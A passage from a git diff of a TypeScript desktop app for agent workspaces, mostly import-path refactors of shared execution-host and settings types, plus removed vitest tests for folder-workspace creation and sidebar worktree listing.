ptyId: 'agent-pty', - worktreeId: 'folder:folder-workspace-1', - title: 'Agent' - })) - const sendFollowup = vi.fn() - const settings = { - ...getDefaultSettings('/tmp'), - agentCmdOverrides: { [agent]: `custom-${agent} --color never` } - } - const environment = { - repo: { path: '/tmp', connectionId: null }, - settings, - getLaunchRuntime: () => ({ - platform: 'linux' as const, - shell: 'posix' as const, - launchRuntime: { - platform: 'linux' as const, - pty: { shellOverride: undefined, terminalWindowsWslDistro: null } - } - }) - } - const createFolderWorkspace = vi.fn( - async (input: Parameters[0]) => { - const parsed = FolderWorkspaceCreateArgs.parse(FolderWorkspaceCreate.parse(input)) - expect(parsed.startupCommand).toBeUndefined() - expect(parsed.startupAgent).toBe(agent) - if (delivery === 'auto-submit') { - expect(parsed.startupPrompt).toBe('Inspect regular task') - expect(parsed.startupDraft).toBeUndefined() - } else { - expect(parsed.startupDraft).toContain('https://linear.app/team/issue/STA-1') - expect(parsed.startupPrompt).toBeUndefined() - } - return prepareGroupFolderCreation({ - input: parsed, - group: { ...projectGroup, executionHostId: undefined }, - workspace: makeFolderWorkspace(), - settings, - startupBuilders: { - agent: (agent, prompt, launchPreferences, inputs) => - buildWorktreeStartupForAgent({ - ...environment, - agent, - prompt, - launchPreferences, - ...inputs, - toSessionOptions: () => undefined - }), - draft: (draft, requestedAgent) => - buildWorktreeStartupForDraft({ ...environment, draft, requestedAgent }) - }, - wait: async () => ({ exitCode: 0 }), - ports: { - canSpawn: true, - createTerminal, - pasteDraft, - sendFollowup, - provision: async () => ({ setupSpawned: false, setupTerminalHandle: null }), - activate: vi.fn() - } - }) - } - ) - await submitFolderWorkspaceCreate({ - projectGroup, - setupSupported: true, - setupApproval: { setupDecision: 'skip' }, - runtimeEnvironmentId: 'paired', - name: 'Linked task', - lastAutoName: '', - linkedWorkItem: - delivery === 'auto-submit' - ? null - : { - provider: 'linear', - type: 'issue', - number: 1, - title: 'Inspect task', - url: 'https://linear.app/team/issue/STA-1' - }, - note: delivery === 'auto-submit' ? 'Inspect regular task' : '', - autoRenameBranchFromWork: false, - quickAgent: agent, - agentCmdOverrides: { [agent]: `custom-${agent} --color never` }, - createFolderWorkspace, - onOpenChange: vi.fn() - }) - if (delivery === 'draft') { - expect(pasteDraft).toHaveBeenCalledExactlyOnceWith('agent', { - agent: 'codex', - content: 'Linked Linear issue\nhttps://linear.app/team/issue/STA-1' - }) - expect(sendFollowup).not.toHaveBeenCalled() - } else if (delivery === 'auto-submit') { - expect(pasteDraft).not.toHaveBeenCalled() - expect(sendFollowup).toHaveBeenCalledExactlyOnceWith( - 'agent', - { agent: 'autohand', prompt: 'Inspect regular task' }, - expect.objectContaining({ tabId: 'returned-agent-tab' }) - ) - } else { - expect(pasteDraft).not.toHaveBeenCalled() - expect(sendFollowup).not.toHaveBeenCalled() - } - if (delivery !== 'auto-submit') { - expect(mocks.seedDraft).toHaveBeenCalledExactlyOnceWith({ - tabId: 'returned-agent-tab', - agent, - text: expect.stringContaining('https://linear.app/team/issue/STA-1') - }) - } else { - expect(mocks.seedDraft).not.toHaveBeenCalled() - } - } -) - -it('applies the worktree semantic prompt and draft contract to IPC and RPC', () => { - for (const schema of [FolderWorkspaceCreate, FolderWorkspaceCreateArgs]) { - expect(schema.safeParse({ projectGroupId: 'group', startupPrompt: 'task' }).success).toBe(false) - expect( - schema.safeParse({ projectGroupId: 'group', startupAgent: 'codex', startupPrompt: 'task' }) - .success - ).toBe(true) - expect( - schema.safeParse({ - projectGroupId: 'group', - startupAgent: 'codex', - startupDraft: 'linked task' - }).success - ).toBe(true) - expect( - schema.safeParse({ projectGroupId: 'group', startupCommand: 'custom --literal' }).success - ).toBe(true) - } -}) - -it('defers paired startup planning to the owning host when its OS has not been projected', async () => { - useAppStore.setState({ runtimeStatusByEnvironmentId: new Map() }) - const createFolderWorkspace = vi.fn(async (input: unknown) => { - const parsed = FolderWorkspaceCreateArgs.parse(FolderWorkspaceCreate.parse(input)) - expect(parsed.startupAgent).toBe('claude') - expect(parsed.startupPrompt).toBe('Inspect on the host') - return { folderWorkspace: makeFolderWorkspace() } - }) - await submitFolderWorkspaceCreate({ - projectGroup: { ...makeProjectGroup(), executionHostId: 'runtime:unprojected' }, - setupSupported: true, - setupApproval: { setupDecision: 'skip' }, - runtimeEnvironmentId: 'unprojected', - name: 'Host task', - lastAutoName: '', - linkedWorkItem: null, - note: 'Inspect on the host', - quickAgent: 'claude', - autoRenameBranchFromWork: false, - agentCmdOverrides: {}, - createFolderWorkspace, - onOpenChange: vi.fn() - }) - expect(createFolderWorkspace).toHaveBeenCalledOnce() -}) - -it('creates a paired shell workspace without an agent prompt', async () => { - const createFolderWorkspace = vi.fn(async (input: unknown) => { - const parsed = FolderWorkspaceCreateArgs.parse(FolderWorkspaceCreate.parse(input)) - expect(parsed.startupAgent).toBeUndefined() - expect(parsed.startupPrompt).toBeUndefined() - return { folderWorkspace: makeFolderWorkspace() } - }) - await submitFolderWorkspaceCreate({ - projectGroup: { ...makeProjectGroup(), executionHostId: 'runtime:paired-shell' }, - setupSupported: true, - setupApproval: { setupDecision: 'skip' }, - runtimeEnvironmentId: 'paired-shell', - name: 'Shell task', - lastAutoName: '', - linkedWorkItem: null, - note: '', - quickAgent: null, - autoRenameBranchFromWork: false, - agentCmdOverrides: {}, - createFolderWorkspace, - onOpenChange: vi.fn() - }) - expect(createFolderWorkspace).toHaveBeenCalledOnce() -}) diff --git a/src/renderer/src/components/sidebar/workspace-creation/folder/folder-workspace-composer-submit.ts b/src/renderer/src/components/sidebar/workspace-creation/folder/folder-workspace-composer-submit.ts index c1aa9fafea1..0a2f09e43a5 100644 --- a/src/renderer/src/components/sidebar/workspace-creation/folder/folder-workspace-composer-submit.ts +++ b/src/renderer/src/components/sidebar/workspace-creation/folder/folder-workspace-composer-submit.ts @@ -27,7 +27,7 @@ import { import { beginStructuredAgentSessionProvisionalLaunch } from '@/lib/agent-session/structured-agent-session-provisional-tab' import '@/lib/workspace/creation/new-workspace-project-options' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { useAppStore } from '@/store/index' import { resolveExecutionHostAgentStartupShell } from '@/runtime/hosts/platform/execution-host-facts' import { diff --git a/src/renderer/src/components/sidebar/workspace-creation/folder/folder-workspace-source-selection.ts b/src/renderer/src/components/sidebar/workspace-creation/folder/folder-workspace-source-selection.ts index b6645479c85..7519866d9b3 100644 --- a/src/renderer/src/components/sidebar/workspace-creation/folder/folder-workspace-source-selection.ts +++ b/src/renderer/src/components/sidebar/workspace-creation/folder/folder-workspace-source-selection.ts @@ -7,7 +7,7 @@ import { shouldApplyWorkspaceSourceAutoName } from '../../../../../../shared/new-workspace/workspace-source' import '../../../../../../shared/file-access/cross-platform-path' -import '../../../../../../shared/execution-host' +import '../../../../../../shared/execution-host/execution-host' import '../../../../../../shared/project/groups/project-groups' import '../../../../../../shared/repository/repo-kind' import type { FolderWorkspace } from '../../../../../../shared/folder-workspaces/folder-workspace-types' diff --git a/src/renderer/src/components/sidebar/workspace-visibility/dialog/WorktreeVisibilityGlobalSettingsLink.tsx b/src/renderer/src/components/sidebar/workspace-visibility/dialog/WorktreeVisibilityGlobalSettingsLink.tsx index 19c7b878abc..d4cc21feb85 100644 --- a/src/renderer/src/components/sidebar/workspace-visibility/dialog/WorktreeVisibilityGlobalSettingsLink.tsx +++ b/src/renderer/src/components/sidebar/workspace-visibility/dialog/WorktreeVisibilityGlobalSettingsLink.tsx @@ -4,8 +4,10 @@ import { Button } from '@/components/ui/button' import { useTranslate } from '@/i18n/use-translate' import { GLOBAL_WORKTREE_VISIBILITY_SETTINGS_TARGET_ID } from '@/components/settings/navigation/settings-navigation-types' import { useAppStore } from '@/store/index' -import type { WorktreeVisibilityDefaults } from '../../../../../../shared/global-settings-types' -import type { Repo } from '../../../../../../shared/repository/repo-types' +import type { + WorktreeVisibilityDefaults, + Repo +} from '../../../../../../shared/repository/repo-types' import { listInheritedWorktreeVisibilitySources, worktreeVisibilityValueLabel diff --git a/src/renderer/src/components/sidebar/workspace-visibility/dialog/worktree-visibility-host-target.ts b/src/renderer/src/components/sidebar/workspace-visibility/dialog/worktree-visibility-host-target.ts index 5f5bcdc734f..348141ac437 100644 --- a/src/renderer/src/components/sidebar/workspace-visibility/dialog/worktree-visibility-host-target.ts +++ b/src/renderer/src/components/sidebar/workspace-visibility/dialog/worktree-visibility-host-target.ts @@ -6,7 +6,7 @@ import { getWorktreeExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { selectDetectedWorktreesByRepo } from '@/store/workspaces/catalog/workspace-record-fields' export function resolveWorktreeVisibilityHostTarget( diff --git a/src/renderer/src/components/sidebar/workspace-visibility/dialog/worktree-visibility-use-global.ts b/src/renderer/src/components/sidebar/workspace-visibility/dialog/worktree-visibility-use-global.ts index fce7db45202..5c6cedbd705 100644 --- a/src/renderer/src/components/sidebar/workspace-visibility/dialog/worktree-visibility-use-global.ts +++ b/src/renderer/src/components/sidebar/workspace-visibility/dialog/worktree-visibility-use-global.ts @@ -1,8 +1,8 @@ import type { ExternalWorktreeVisibility, - Repo + Repo, + WorktreeVisibilityDefaults } from '../../../../../../shared/repository/repo-types' -import type { WorktreeVisibilityDefaults } from '../../../../../../shared/global-settings-types' import { effectiveExternalWorktreeVisibility, isLegacyRepoForExternalWorktreeVisibility diff --git a/src/renderer/src/components/sidebar/workspace-visibility/sources/WorktreeVisibilitySourceList.tsx b/src/renderer/src/components/sidebar/workspace-visibility/sources/WorktreeVisibilitySourceList.tsx index 61dc7f2ab52..5bc497385bd 100644 --- a/src/renderer/src/components/sidebar/workspace-visibility/sources/WorktreeVisibilitySourceList.tsx +++ b/src/renderer/src/components/sidebar/workspace-visibility/sources/WorktreeVisibilitySourceList.tsx @@ -9,10 +9,10 @@ import type { BuiltInWorktreeVisibilitySourceId, CustomWorktreeVisibilitySource, ExternalWorktreeVisibility, - Repo + Repo, + WorktreeVisibilityDefaults } from '../../../../../../shared/repository/repo-types' import type { DetectedWorktree } from '../../../../../../shared/worktree/types' -import type { WorktreeVisibilityDefaults } from '../../../../../../shared/global-settings-types' import { createWorktreeVisibilitySourceMatcher, effectiveDefaultBuiltInWorktreeSourceVisibility, diff --git a/src/renderer/src/components/sidebar/workspace-visibility/sources/use-repo-owner-visibility-defaults.ts b/src/renderer/src/components/sidebar/workspace-visibility/sources/use-repo-owner-visibility-defaults.ts index b4b6d447b18..1b9d7be26ba 100644 --- a/src/renderer/src/components/sidebar/workspace-visibility/sources/use-repo-owner-visibility-defaults.ts +++ b/src/renderer/src/components/sidebar/workspace-visibility/sources/use-repo-owner-visibility-defaults.ts @@ -1,6 +1,8 @@ import { useAppStore } from '@/store' -import type { WorktreeVisibilityDefaults } from '../../../../../../shared/global-settings-types' -import type { Repo } from '../../../../../../shared/repository/repo-types' +import type { + WorktreeVisibilityDefaults, + Repo +} from '../../../../../../shared/repository/repo-types' import { getRepoOwnerWorktreeVisibilityDefaults } from '../../../../store/slices/worktrees/listing/worktree-visibility-defaults-by-host' export function useRepoOwnerVisibilityDefaults( diff --git a/src/renderer/src/components/sidebar/workspace-visibility/sources/worktree-visibility-source-mutation.ts b/src/renderer/src/components/sidebar/workspace-visibility/sources/worktree-visibility-source-mutation.ts index 8081f13cf21..73f2b536bd2 100644 --- a/src/renderer/src/components/sidebar/workspace-visibility/sources/worktree-visibility-source-mutation.ts +++ b/src/renderer/src/components/sidebar/workspace-visibility/sources/worktree-visibility-source-mutation.ts @@ -1,8 +1,8 @@ import type { ExternalWorktreeVisibility, - Repo + Repo, + WorktreeVisibilityDefaults } from '../../../../../../shared/repository/repo-types' -import type { WorktreeVisibilityDefaults } from '../../../../../../shared/global-settings-types' import { effectiveExternalWorktreeVisibility, isLegacyRepoForExternalWorktreeVisibility diff --git a/src/renderer/src/components/sidebar/workspace-visibility/sources/worktree-visibility-source-provenance.ts b/src/renderer/src/components/sidebar/workspace-visibility/sources/worktree-visibility-source-provenance.ts index 8281531e55d..bb39a713d9e 100644 --- a/src/renderer/src/components/sidebar/workspace-visibility/sources/worktree-visibility-source-provenance.ts +++ b/src/renderer/src/components/sidebar/workspace-visibility/sources/worktree-visibility-source-provenance.ts @@ -2,9 +2,9 @@ import { translate } from '@/i18n/i18n' import type { Translate } from '@/i18n/use-translate' import type { ExternalWorktreeVisibility, - Repo + Repo, + WorktreeVisibilityDefaults } from '../../../../../../shared/repository/repo-types' -import type { WorktreeVisibilityDefaults } from '../../../../../../shared/global-settings-types' import { effectiveExternalWorktreeVisibility } from '../../../../../../shared/worktree/visibility/external-worktree-visibility' import { effectiveDefaultBuiltInWorktreeSourceVisibility, diff --git a/src/renderer/src/components/sidebar/worktree-card-slot-pane-index.ts b/src/renderer/src/components/sidebar/worktree-card-slot-pane-index.ts index ece1d64cef0..c2daf94783d 100644 --- a/src/renderer/src/components/sidebar/worktree-card-slot-pane-index.ts +++ b/src/renderer/src/components/sidebar/worktree-card-slot-pane-index.ts @@ -8,7 +8,7 @@ import { getWorktreeIdFromHostIdentity, type HostScopedWorktreeKey } from '../../../../shared/worktree/host-qualified-identity' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' /** * What the slot projection itself recorded about each pane: which workspaces display it, and when diff --git a/src/renderer/src/components/sidebar/worktree-card-slot-rollup.ts b/src/renderer/src/components/sidebar/worktree-card-slot-rollup.ts index da386900f10..a7d6f16bd86 100644 --- a/src/renderer/src/components/sidebar/worktree-card-slot-rollup.ts +++ b/src/renderer/src/components/sidebar/worktree-card-slot-rollup.ts @@ -14,7 +14,7 @@ import { useAppStore } from '@/store' import type { AppState } from '@/store/types' import { getIndexedWorktreesById } from '@/store/slices/worktrees/listing/worktree-catalog-index' import type { Worktree } from '../../../../shared/worktree/types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { getWorktreeHostIdentity, getWorktreeIdFromHostIdentity, diff --git a/src/renderer/src/components/sidebar/worktree-card-slot-targets.ts b/src/renderer/src/components/sidebar/worktree-card-slot-targets.ts index 8f0d9166746..c5f7d9d7eea 100644 --- a/src/renderer/src/components/sidebar/worktree-card-slot-targets.ts +++ b/src/renderer/src/components/sidebar/worktree-card-slot-targets.ts @@ -1,7 +1,7 @@ import { collectLeafIds } from '../../../../shared/workspace-layout/terminal-topology/terminal-pane-layout-tree' import { getStructuredAgentSessionTabsByPaneKey } from '@/components/native-chat/session/status/structured-agent-session-tabs' import { composeWorktreeHostIdentity } from '../../../../shared/worktree/host-qualified-identity' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { AgentStatusEntry, AgentType diff --git a/src/renderer/src/components/sidebar/worktree-list/controls/SidebarHostScopeMenuSection.tsx b/src/renderer/src/components/sidebar/worktree-list/controls/SidebarHostScopeMenuSection.tsx index 72151cf1a82..25f248011e7 100644 --- a/src/renderer/src/components/sidebar/worktree-list/controls/SidebarHostScopeMenuSection.tsx +++ b/src/renderer/src/components/sidebar/worktree-list/controls/SidebarHostScopeMenuSection.tsx @@ -5,11 +5,11 @@ import { DropdownMenuSubContent, DropdownMenuSubTrigger } from '@/components/ui/dropdown-menu' -import { ALL_EXECUTION_HOSTS_SCOPE } from '../../../../../../shared/execution-host' +import { ALL_EXECUTION_HOSTS_SCOPE } from '../../../../../../shared/execution-host/execution-host' import type { VisibleWorkspaceHostIds, WorkspaceHostScope -} from '../../../../../../shared/ui-chrome-types' +} from '../../../../../../shared/ui-chrome/ui-chrome-types' import { pickerExecutionHosts } from '../../../../../../shared/execution-host/managed-orcad-execution-host' import { getCheckedHostRows, diff --git a/src/renderer/src/components/sidebar/worktree-list/controls/sidebar-filter-actions.ts b/src/renderer/src/components/sidebar/worktree-list/controls/sidebar-filter-actions.ts index 4984414ffff..ab813cfb457 100644 --- a/src/renderer/src/components/sidebar/worktree-list/controls/sidebar-filter-actions.ts +++ b/src/renderer/src/components/sidebar/worktree-list/controls/sidebar-filter-actions.ts @@ -5,7 +5,10 @@ import { } from '../../../../../../shared/workspace-view/workspace-row-filters' import { resolveVisibleWorkspaceHostIds } from '../../../../../../shared/workspace-view/workspace-host-visibility' import type { AppState } from '../../../../store/types' -import type { ExecutionHostId, ExecutionHostScope } from '../../../../../../shared/execution-host' +import type { + ExecutionHostId, + ExecutionHostScope +} from '../../../../../../shared/execution-host/execution-host' export type SidebarFilterState = { showSleepingWorkspaces: boolean diff --git a/src/renderer/src/components/sidebar/worktree-list/controls/sidebar-host-options.ts b/src/renderer/src/components/sidebar/worktree-list/controls/sidebar-host-options.ts index fc5cfd6ae79..7f5f37b1006 100644 --- a/src/renderer/src/components/sidebar/worktree-list/controls/sidebar-host-options.ts +++ b/src/renderer/src/components/sidebar/worktree-list/controls/sidebar-host-options.ts @@ -1,13 +1,13 @@ import { shallow } from 'zustand/shallow' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { Repo } from '../../../../../../shared/repository/repo-types' -import type { WorkspaceHostScope } from '../../../../../../shared/ui-chrome-types' +import type { WorkspaceHostScope } from '../../../../../../shared/ui-chrome/ui-chrome-types' import { ALL_EXECUTION_HOSTS_SCOPE, LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { buildExecutionHostRegistry } from '../../../../../../shared/execution-host/execution-host-registry' import type { EphemeralVmHostLifecycle, diff --git a/src/renderer/src/components/sidebar/worktree-list/controls/sidebar-workspace-option-items.ts b/src/renderer/src/components/sidebar/worktree-list/controls/sidebar-workspace-option-items.ts index a921b048e28..7e070155ceb 100644 --- a/src/renderer/src/components/sidebar/worktree-list/controls/sidebar-workspace-option-items.ts +++ b/src/renderer/src/components/sidebar/worktree-list/controls/sidebar-workspace-option-items.ts @@ -1,4 +1,4 @@ -import type { WorktreeCardProperty } from '../../../../../../shared/ui-chrome-types' +import type { WorktreeCardProperty } from '../../../../../../shared/ui-chrome/ui-chrome-types' import { WORKSPACE_AGENT_ACTIVITY_LAYOUT_CHOICES, WORKSPACE_CARD_LAYOUT_CHOICES, diff --git a/src/renderer/src/components/sidebar/worktree-list/drag/host-header-drag-dom.ts b/src/renderer/src/components/sidebar/worktree-list/drag/host-header-drag-dom.ts index 964723d19f7..90793c4d87e 100644 --- a/src/renderer/src/components/sidebar/worktree-list/drag/host-header-drag-dom.ts +++ b/src/renderer/src/components/sidebar/worktree-list/drag/host-header-drag-dom.ts @@ -1,7 +1,7 @@ import { normalizeExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' export type HostHeaderRect = { hostId: ExecutionHostId diff --git a/src/renderer/src/components/sidebar/worktree-list/drag/host-header-drag.ts b/src/renderer/src/components/sidebar/worktree-list/drag/host-header-drag.ts index 688c6cc1b76..2a10c85cda0 100644 --- a/src/renderer/src/components/sidebar/worktree-list/drag/host-header-drag.ts +++ b/src/renderer/src/components/sidebar/worktree-list/drag/host-header-drag.ts @@ -5,7 +5,7 @@ import { useState, type PointerEvent as ReactPointerEvent } from 'react' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { createSidebarDragPreview, setSidebarPointerDragDocumentStyles, diff --git a/src/renderer/src/components/sidebar/worktree-list/drag/root-project-order-commit.ts b/src/renderer/src/components/sidebar/worktree-list/drag/root-project-order-commit.ts index c127fd8757a..778aa7c9e4d 100644 --- a/src/renderer/src/components/sidebar/worktree-list/drag/root-project-order-commit.ts +++ b/src/renderer/src/components/sidebar/worktree-list/drag/root-project-order-commit.ts @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { PROJECT_ROOT_ORDER_RUNTIME_CAPABILITY } from '../../../../../../shared/project/groups/project-group-order-capability' import { runtimeEnvironmentSupportsCapability } from '@/runtime/rpc/compatibility/runtime-capability-proof' import { ipcOrRuntimeTargetForHostId } from '@/runtime/rpc/targets/runtime-client-target' diff --git a/src/renderer/src/components/sidebar/worktree-list/drag/use-header-drag.ts b/src/renderer/src/components/sidebar/worktree-list/drag/use-header-drag.ts index 0ebca01cb49..6512a446643 100644 --- a/src/renderer/src/components/sidebar/worktree-list/drag/use-header-drag.ts +++ b/src/renderer/src/components/sidebar/worktree-list/drag/use-header-drag.ts @@ -3,11 +3,11 @@ import { useCallback, useEffect, useMemo } from 'react' import type React from 'react' import { useAppStore } from '@/store' import '@/store/project-groups/project-group-owner-routing' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { ProjectGroup } from '../../../../../../shared/project/groups/project-group-types' -import type { ProjectOrderBy } from '../../../../../../shared/ui-chrome-types' +import type { ProjectOrderBy } from '../../../../../../shared/ui-chrome/ui-chrome-types' import type { Repo } from '../../../../../../shared/repository/repo-types' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { HostHeaderRow, HostSectionRow diff --git a/src/renderer/src/components/sidebar/worktree-list/drag/worktree-drag-units.ts b/src/renderer/src/components/sidebar/worktree-list/drag/worktree-drag-units.ts index 9dda976d010..ca95acc52cc 100644 --- a/src/renderer/src/components/sidebar/worktree-list/drag/worktree-drag-units.ts +++ b/src/renderer/src/components/sidebar/worktree-list/drag/worktree-drag-units.ts @@ -6,7 +6,7 @@ import { } from '../../../../../../shared/sidebar-list/sections/group-keys' import { getNaturalWorktreeKeys } from '../listing/natural-worktree-keys' import { composeWorktreeHostIdentity } from '../../../../../../shared/worktree/host-qualified-identity' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' export type WorktreeDragUnitGroup = WorktreeDragGroup & { units: { worktreeId: string; worktreeIds: string[] }[] diff --git a/src/renderer/src/components/sidebar/worktree-list/grouping/build-rows.test-fixture.ts b/src/renderer/src/components/sidebar/worktree-list/grouping/build-rows.test-fixture.ts index ba547a3966f..9393c8f5079 100644 --- a/src/renderer/src/components/sidebar/worktree-list/grouping/build-rows.test-fixture.ts +++ b/src/renderer/src/components/sidebar/worktree-list/grouping/build-rows.test-fixture.ts @@ -2,14 +2,14 @@ import type { AppState } from '@/store/types' import type { FolderWorkspace } from '../../../../../../shared/folder-workspaces/folder-workspace-types' import type { ProjectGroup } from '../../../../../../shared/project/groups/project-group-types' import type { Repo } from '../../../../../../shared/repository/repo-types' -import type { ProjectOrderBy } from '../../../../../../shared/ui-chrome-types' +import type { ProjectOrderBy } from '../../../../../../shared/ui-chrome/ui-chrome-types' import type { WorktreeLineage } from '../../../../../../shared/worktree/lineage-types' import type { WorkspaceStatusDefinition, Worktree } from '../../../../../../shared/worktree/types' import { cloneDefaultWorkspaceStatuses } from '../../../../../../shared/workspace/status/workspace-statuses' import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { ProjectGroupingModel } from '../../../../../../shared/sidebar-list/sections/project-section-grouping' import { getPinnedWorktreeDisplayPolicy, diff --git a/src/renderer/src/components/sidebar/worktree-list/grouping/worktree-list-groups-test-fixtures.ts b/src/renderer/src/components/sidebar/worktree-list/grouping/worktree-list-groups-test-fixtures.ts index 0a02de3ed14..e58206ef40f 100644 --- a/src/renderer/src/components/sidebar/worktree-list/grouping/worktree-list-groups-test-fixtures.ts +++ b/src/renderer/src/components/sidebar/worktree-list/grouping/worktree-list-groups-test-fixtures.ts @@ -1,6 +1,6 @@ import type { GroupHeaderRow } from '../../../../../../shared/sidebar-list/row-types' import type { SidebarHostOption } from '../controls/sidebar-host-options' -import { getExecutionHostLabel } from '../../../../../../shared/execution-host' +import { getExecutionHostLabel } from '../../../../../../shared/execution-host/execution-host' import type { Project, ProjectHostSetup } from '../../../../../../shared/project/project-types' import type { Repo } from '../../../../../../shared/repository/repo-types' import type { DetectedWorktree, Worktree } from '../../../../../../shared/worktree/types' diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/ImportedWorktreesVisibilityLine.tsx b/src/renderer/src/components/sidebar/worktree-list/listing/ImportedWorktreesVisibilityLine.tsx index f95fb882500..397bb0d14d5 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/ImportedWorktreesVisibilityLine.tsx +++ b/src/renderer/src/components/sidebar/worktree-list/listing/ImportedWorktreesVisibilityLine.tsx @@ -5,7 +5,7 @@ import { Button } from '@/components/ui/button' import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip' import { cn } from '@/lib/class-names' import NoticeHostGlyph from '../rows/NoticeHostGlyph' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getExternalWorktreeParentPath } from '../../../../../../shared/worktree/visibility/external-worktree-visibility' import { normalizeRuntimePathForComparison } from '../../../../../../shared/file-access/cross-platform-path' import { useTranslate } from '@/i18n/use-translate' diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/NewExternalWorktreesInboxLine.tsx b/src/renderer/src/components/sidebar/worktree-list/listing/NewExternalWorktreesInboxLine.tsx index 6300b44c061..e79771e2ec8 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/NewExternalWorktreesInboxLine.tsx +++ b/src/renderer/src/components/sidebar/worktree-list/listing/NewExternalWorktreesInboxLine.tsx @@ -5,7 +5,7 @@ import { Button } from '@/components/ui/button' import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip' import { cn } from '@/lib/class-names' import NoticeHostGlyph from '../rows/NoticeHostGlyph' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { useTranslate } from '@/i18n/use-translate' type NewExternalWorktreesInboxLineProps = { diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/SavedHostScopeWidenGate.tsx b/src/renderer/src/components/sidebar/worktree-list/listing/SavedHostScopeWidenGate.tsx index e5a53b65df2..94ad321f917 100644 --- a/src/renderer/src/components/sidebar/worktree-list/listing/SavedHostScopeWidenGate.tsx +++ b/src/renderer/src/components/sidebar/worktree-list/listing/SavedHostScopeWidenGate.tsx @@ -3,7 +3,7 @@ import { useAppStore } from '@/store' import { ALL_EXECUTION_HOSTS_SCOPE, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { widenSavedExecutionHostIds } from '../../../../../../shared/execution-host/managed-orcad-execution-host' import { useSidebarHostScopeOptions } from '../controls/use-sidebar-host-scope-options' diff --git a/src/renderer/src/components/sidebar/worktree-list/listing/WorktreeList.lineage-agent-expansion-coupling.test.tsx b/src/renderer/src/components/sidebar/worktree-list/listing/WorktreeList.lineage-agent-expansion-coupling.test.tsx deleted file mode 100644 index ea7baef736e..00000000000 --- a/src/renderer/src/components/sidebar/worktree-list/listing/WorktreeList.lineage-agent-expansion-coupling.test.tsx +++ /dev/null @@ -1,496 +0,0 @@ -// @vitest-environment happy-dom -import { - acceptedAgentStatuses, - type AcceptedAgentStatuses -} from '@/store/slices/agent-status/accepted-agent-statuses' - -vi.mock('@/components/confirmation-dialog-context', () => ({ - useConfirmationDialog: () => vi.fn().mockResolvedValue(false) -})) - -// Render real list/agents so changing lineage row keys remounts cards and exercises disclosure persistence independently of child-worktree expansion. - -import { act, type ReactNode } from 'react' -import { useAppStore } from '@/store' -import { createRoot, type Root } from 'react-dom/client' -import { afterEach, beforeAll, beforeEach, describe, expect, it, vi } from 'vitest' -import type * as ProjectHeaderDragContract from '../drag/project-header-drag-contract' -import type { - AgentStatusEntry, - AgentStatusOrchestrationContext -} from '../../../../../../shared/agent-status/contracts/agent-status-types' -import type { Repo } from '../../../../../../shared/repository/repo-types' -import type { TerminalTab } from '../../../../../../shared/workspace-layout/terminal-tab-types' -import type { WorktreeCardProperty } from '../../../../../../shared/ui-chrome-types' -import type { WorktreeLineage } from '../../../../../../shared/worktree/lineage-types' -import type { Worktree } from '../../../../../../shared/worktree/types' -import { clearWorktreeAgentExpansionStateForTests } from '../../workspace-card/activity/worktree-card-agents-expansion-state' - -globalThis.IS_REACT_ACT_ENVIRONMENT = true - -const mockStore = vi.hoisted(() => ({ - state: {} as Record, - setVisibleReviewCardWorktreeIds: vi.fn<(ids: readonly string[]) => void>(), - activateWorktreeFromSidebar: vi.fn(), - openModal: vi.fn() -})) - -type WorktreeListComponent = React.ComponentType<{ - scrollOffsetRef: React.RefObject - scrollAnchorRef: React.RefObject -}> - -let WorktreeList: WorktreeListComponent - -vi.mock('@/store', () => ({ - useAppStore: Object.assign( - (selector: (state: Record) => unknown) => selector(mockStore.state), - { - getState: () => mockStore.state, - subscribe: () => () => {} - } - ) -})) - -// Use the virtualizer keys when rendering the visible workspace rows. -vi.mock('@tanstack/react-virtual', () => ({ - defaultRangeExtractor: ({ startIndex, endIndex }: { startIndex: number; endIndex: number }) => - Array.from({ length: endIndex - startIndex + 1 }, (_, index) => startIndex + index), - measureElement: () => 32, - useVirtualizer: ({ - count, - getItemKey - }: { - count: number - getItemKey?: (index: number) => string | number - }) => ({ - elementsCache: new Map(), - getTotalSize: () => count * 96, - getVirtualItems: () => - Array.from({ length: count }, (_, 